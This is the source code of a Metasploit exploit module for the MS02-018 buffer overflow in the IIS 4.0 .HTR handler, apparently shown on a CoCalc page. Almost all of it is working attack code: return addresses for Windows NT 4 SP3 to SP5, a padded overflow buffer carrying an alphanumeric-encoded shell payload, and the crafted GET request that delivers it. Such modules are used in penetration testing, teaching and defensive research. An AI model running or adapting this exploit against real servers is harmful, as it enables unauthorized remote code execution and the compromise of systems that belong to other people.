CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::Tcp
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'MS02-018 Microsoft IIS 4.0 .HTR Path Overflow',
14
      'Description'    => %q{
15
          This exploits a buffer overflow in the ISAPI ISM.DLL used to
16
        process HTR scripting in IIS 4.0. This module works against
17
        Windows NT 4 Service Packs 3, 4, and 5. The server will
18
        continue to process requests until the payload being
19
        executed has exited. If you've set EXITFUNC to 'seh', the
20
        server will continue processing requests, but you will have
21
        trouble terminating a bind shell. If you set EXITFUNC to
22
        thread, the server will crash upon exit of the bind shell.
23
        The payload is alpha-numerically encoded without a NOP sled
24
        because otherwise the data gets mangled by the filters.
25
      },
26
      'Author'         => [ 'stinko' ],
27
      'License'        => BSD_LICENSE,
28
      'References'     =>
29
        [
30
          [ 'CVE', '1999-0874'],
31
          [ 'OSVDB', '3325'],
32
          [ 'BID', '307'],
33
          [ 'URL', 'http://www.eeye.com/html/research/advisories/AD19990608.html'],
34
          [ 'MSB', 'MS02-018'],
35
        ],
36
      'Privileged'     => true,
37
      'Payload'        =>
38
        {
39
          'Space'    => 2048,
40
          'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
41
          'StackAdjustment' => -3500,
42
        },
43
      'Platform'       => 'win',
44
      'Targets'        =>
45
        [
46
          ['Windows NT 4.0 SP3', {'Platform' => 'win', 'Rets' => [ 593, 0x77f81a4d ] }],
47
          ['Windows NT 4.0 SP4', {'Platform' => 'win', 'Rets' => [ 593, 0x77f7635d ] }],
48
          ['Windows NT 4.0 SP5', {'Platform' => 'win', 'Rets' => [ 589, 0x77f76385 ] }],
49
        ],
50
      'DefaultOptions' => { 'AllowWin32SEH' => true }, # needed for pure alpha GetEIP stub
51
      'DisclosureDate' => '2002-04-10',
52
      'DefaultTarget' => 0))
53

54
    register_options(
55
      [
56
        Opt::RPORT(80)
57
      ])
58
  end
59

60
  def exploit
61
    connect
62

63
    buf = 'X' * target['Rets'][0]
64
    buf << [ target['Rets'][1] ].pack('V')
65
    buf << payload.encoded
66

67
    req = "GET /#{buf}.htr HTTP/1.0\r\n\r\n"
68
    print_status("Trying target #{target.name} with jmp eax at 0x%.8x..." % target['Rets'][1])
69
    sock.put(req)
70
    handler
71
    disconnect
72
  end
73
end
74

75